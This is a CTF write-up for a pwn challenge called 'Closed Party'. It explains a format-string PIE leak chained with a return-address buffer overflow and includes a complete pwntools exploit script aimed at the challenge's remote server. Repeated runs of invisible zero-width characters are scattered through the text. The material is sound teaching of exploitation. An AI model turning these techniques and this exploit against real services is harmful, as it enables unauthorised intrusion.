← Back to Writeups
CUSTOMMediumpwn

Closed Party

XESXOR9/2/20266 min read
#pwn#custom#medium#buffer_overflow_ret_overwrite#pie_base_recovery#ret_to_win#sequential_format_string_leak

Closed Party

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: buffer_overflow_ret_overwrite, pie_base_recovery, ret_to_win, sequential_format_string_leak

Summary

Task: stripped PIE ELF64 with Full RELRO, NX, no canary exposes a format string in the name prompt and a 16-byte buffer overflow in the answer prompt; .data contains a fake flag with C0DEBY. Solution: leak the return address at sequential %p position 47 to recover PIE base, then overflow the answer buffer to redirect execution to the flag-printing code at PIE_base+0x14ec.

Closed Party — hackerlab

Description

Вечеринка только для тех, кто знает PWN (Party only for those who know PWN)

We are given a stripped ELF64 PIE binary (party) that implements a "private party" with a guest list menu. The binary has Full RELRO, NX enabled, no stack canary, and PIE. It contains a fake flag C0DEBY{Et0_N2_fl@g} (note: C0DEBY with a zero, meaning "this is not a flag") in .data. The real flag is only available on the remote server and is printed by a specific code path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary protections

text
Full RELRO | No canary | NX enabled | PIE enabled | Stripped

Program structure

The binary presents a menu:

text
This is a private PWN party. Entry is only by list.
[1] View the list of invited
[2] Say your name
[3] Leave
Choice:
  • main (0x151b): Menu handler. Reads one char via fgetc, dispatches to the selected function, then exits. No loop.
  • view_list (0x11c9): Prints a table of 10 guests named "John Doe" who all "Know PWN".
  • say_name (0x126d): The vulnerable function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack layout of say_name

text
sub rsp, 0x140

rbp-0x140: answer_buf   (second input buffer, ~100 bytes zeroed)
rbp-0xd0:  name_buf     (first input buffer, 0xc8=200 bytes zeroed)
rbp-0x8:   ptr          = PIE_base+0x4049 (pointer to check byte in .bss)
rbp:       saved rbp
rbp+0x8:   return addr  = PIE_base+0x15d7 (back into main)

Control flow in say_name

  1. printf("My name is ") + fflush(stdout)
  2. fgets(name_buf, 0xc8, stdin) — reads up to 200 bytes into name buffer
  3. Loads pointer from [rbp-0x8], dereferences byte at PIE_base+0x4049
  4. If byte != 0 → FLAG PATH (0x14ec): prints "Yes, now you are on the list. Keep: %s" with the flag from .data
  5. If byte == 0 → NOT ON LIST PATH:
    • printf(name_buf) — FORMAT STRING VULNERABILITY
    • Prints rejection messages, then prompts "Answer: "
    • fgets(answer_buf, 0x150, stdin) — BUFFER OVERFLOW (reads 0x150=336 bytes into buffer at rbp-0x140; frame is only 0x140=320 bytes, overflowing 16 bytes = saved rbp + return address) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key PIE-relative addresses

OffsetDescription
0x4010Flag string in .data
0x4049Check byte in .bss (initially 0)
0x14ecFlag printing code path (win function)
0x151bmain entry
0x15d7Return address from say_name back into main

Vulnerabilities

1. Format String (name input)

printf(name_buf) at offset 0x1457 uses user input directly as the format string. This allows reading arbitrary stack values via %p.

Format string argument positions (from stack layout analysis):

  • Position 6: first stack argument [rbp-0x140]
  • Position 20: start of name_buf (our controlled input)
  • Position 45: pointer at [rbp-0x8] = PIE_base+0x4049
  • Position 46: saved rbp
  • Position 47: return address = PIE_base+0x15d7 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical caveat: Positional format specifiers like %47$p fail silently on the server's glibc because intermediate argument types are unknown. The solution is to use 47 sequential %p specifiers instead.

2. Buffer Overflow (answer input)

fgets(answer_buf, 0x150, stdin) reads up to 336 bytes into a 320-byte space before saved rbp. This overflows exactly 16 bytes: 8 bytes for saved rbp + 8 bytes for the return address.

Since fgets reads at most size-1 = 335 characters and appends a null terminator as the 336th byte, we can control 7 bytes of the return address with the 8th byte (MSB) being 0x00 — which is correct for PIE addresses in userspace. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Two-step chain: Format String leak → Buffer Overflow redirect.

Step 1: Leak PIE base via format string

Send 46 %p. specifiers followed by RET:%p:END to leak the return address at stack position 47. The total payload is 148 bytes, well within the 200-byte fgets limit.

Parse the value between RET: and :END markers as the return address, then compute:

text
PIE_base = leaked_return_address - 0x15d7

Step 2: Buffer overflow to flag code

In the "Answer:" prompt, send an overflow payload:

  • 320 bytes (0x140) of padding to fill the buffer
  • 8 bytes of fake rbp (any writable address or zeros)
  • 7 bytes of the target return address (PIE_base + 0x14ec)
  • The 8th byte (MSB = 0x00) is supplied by fgets's null terminator ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The code at 0x14ec uses only RIP-relative addressing to load and print the flag string, so it works regardless of the rbp value. After printing, it calls fflush(stdout) ensuring output is sent before any crash.

python
#!/usr/bin/env python3
"""
Exploit for "Закрытая вечеринка" (Closed Party) — HackerLab PWN

Chain: format string PIE leak → buffer overflow ret2win
"""
from pwn import *

context.arch = "amd64"

REMOTE = ("62.173.140.174", 27100)

# PIE offsets
RET_ADDR_OFFSET = 0x15D7   # return address from say_name back into main
FLAG_CODE_OFFSET = 0x14EC  # flag printing code path
OVERFLOW_PADDING = 0x140   # 320 bytes to reach saved rbp
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def exploit():
    io = remote(*REMOTE)

    # === Step 1: Leak PIE base via format string ===
    io.recvuntil(b"Choice: ")
    io.send(b"2\n")
    io.recvuntil(b"My name is ")

    # 46 × "%p." + "RET:%p:END" = 148 bytes (fits in 200-byte fgets)
    payload = b"%p." * 46 + b"RET:%p:END"
    io.sendline(payload)

    # Parse the return address from "RET:0xXXXX:END"
    data = io.recvuntil(b"Excuse me", drop=True, timeout=10)
    data_str = data.decode(errors="replace")

    ret_start = data_str.index("RET:") + 4
    ret_end = data_str.index(":END")
    ret_addr = int(data_str[ret_start:ret_end], 16)
    pie_base = ret_addr - RET_ADDR_OFFSET
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    log.success(f"Return address: {hex(ret_addr)}")
    log.success(f"PIE base: {hex(pie_base)}")

    # === Step 2: Buffer overflow to flag code ===
    io.recvuntil(b"Answer: ")

    target = pie_base + FLAG_CODE_OFFSET
    payload = b"A" * OVERFLOW_PADDING      # 320 bytes padding
    payload += p64(0)                       # 8 bytes fake rbp
    payload += p64(target)[:7]              # 7 bytes of return address
    # fgets appends 0x00 as the 336th byte = MSB of return address

    assert len(payload) == 335
    io.sendline(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # === Step 3: Receive the flag ===
    result = io.recvall(timeout=10)
    if b"CODEBY{" in result:
        flag_start = result.index(b"CODEBY{")
        flag_end = result.index(b"}", flag_start) + 1
        flag = result[flag_start:flag_end].decode()
        log.success(f"FLAG: {flag}")
    else:
        log.info(f"Output: {result}")

    io.close()


if __name__ == "__main__":
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍